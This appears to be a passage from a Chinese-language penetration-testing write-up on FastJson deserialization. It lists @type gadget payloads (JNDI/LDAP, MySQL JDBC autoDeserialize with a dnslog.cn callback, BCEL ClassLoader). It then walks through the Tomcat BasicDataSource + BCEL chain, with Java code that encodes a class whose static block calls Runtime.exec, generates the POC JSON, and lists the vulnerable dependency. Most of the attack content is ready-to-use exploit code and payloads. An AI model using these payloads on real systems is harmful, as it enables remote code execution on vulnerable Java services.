"@type": "org.apache.cocoon.components.slide.impl.JMSContentInterceptor",
"parameters": {
"@type": "java.util.Hashtable",
"java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory",
"topic-factory": "ldap://127.0.0.1:23457/Command8"
},
"namespace": ""
}
ContextClassLoaderSwitcher
{
"@type": "org.jboss.util.loading.ContextClassLoaderSwitcher",
"contextClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"a": {
"@type": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$...$A$A"
}
}
OracleManagedConnectionFactory
{
"@type": "oracle.jdbc.connector.OracleManagedConnectionFactory",
"xaDataSourceName": "ldap://127.0.0.1:23457/Command8"
}
JNDIConfiguration
{
"@type": "org.apache.commons.configuration.JNDIConfiguration",
"prefix": "ldap://127.0.0.1:23457/Command8"
}
JDBC4Connection
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "172.20.64.40",
"portToConnectTo": 3306,
"url": "jdbc:mysql://172.20.64.40:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"databaseToConnectTo": "test",
"info": {
"@type": "java.util.Properties",
"PORT": "3306",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"user": "yso_URLDNS_http://ahfladhjfd.6fehoy.dnslog.cn",
"PORT.1": "3306",
"HOST.1": "172.20.64.40",
"NUM_HOSTS": "1",
"HOST": "172.20.64.40",
"DBNAME": "test"
}
}
LoadBalancedMySQLConnection
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy": {
"connectionString": {
"url": "jdbc:mysql://localhost:3306/foo?allowLoadLocalInfile=true"
}
}
}
ReplicationMySQLConnection
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [{
"host": "mysql.host"
}],
"slaves": [],
"properties": {
"host": "mysql.host",
"user": "user",
"dbname": "dbname",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true"
}
}
}
}
FastJson在内网中的测试
参考:
https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html#0x01-bcel
https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html
https://www.cnblogs.com/nice0e3/p/14949148.html
POC为
{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}
触发点在 org.apache.tomcat.dbcp.dbcp2.BasicDataSource
的 getConnection
方法中,调用了 createDataSource
方法,跟进去看看
调用 createConnectionFactory
若 driverClassLoader
不为空的话,就按照这个 ClassLoader(也就是自定义ClassLoader),在P神的文章中也提到了这一点
到这边我们的 classname
和 classloader
可控,那么我们怎么达到命令执行呢
这里面就要说一神器的ClassLoader com.sun.org.apache.bcel.internal.util.ClassLoader
可以看到直接从 classname 中提取 Class 的 bytecode,如果 classname 中包含 $$BCEL$$
,这个 ClassLoader 则会将 $$BCEL$$
后面的字符串按照BCEL编码进行解码,作为Class的字节码,并调用 defineClass() 获取 Class 对象
编写Exp
首先写一个类在其 static
代码区域里面写上我们的恶意代码
import java.io.IOException;
public class Test {
static {
try{
Runtime.getRuntime().exec("open /Applications/Calculator.app");
}
catch (IOException e){
e.printStackTrace();
}
}
}
在对其 Class
进行编码
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
public class Test1 {
public static void main(String[] args) throws Exception{
JavaClass cls = Repository.lookupClass(Test.class);
String code = Utility.encode(cls.getBytes(), true);//转换为字节码并编码为bcel字节码
String poc = "{
" +
" {
" +
" "aaa": {
" +
" "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
" +
" "driverClassLoader": {
" +
" "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
" +
" },
" +
" "driverClassName": "$$BCEL$$"+ code+ ""
" +
" }
" +
" }: "bbb"
" +
"}";
System.out.println(poc);
}
}
Pom配置为
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
在低版本的 FastJson
中测试一下
高版本是不行的,因为FastJson在高版本有黑名单,白名单的限制
其他
BasicDataSource类在旧版本的 tomcat-dbcp 包中(6.0.53、7.0.81等版本),对应的路径是 org.apache.tomcat.dbcp.dbcp.BasicDataSource
POC为
{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}
同样的跟 JNDI
一样,再高版本的Jdk中,也是不可用的
参考: https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html#0x01-bcel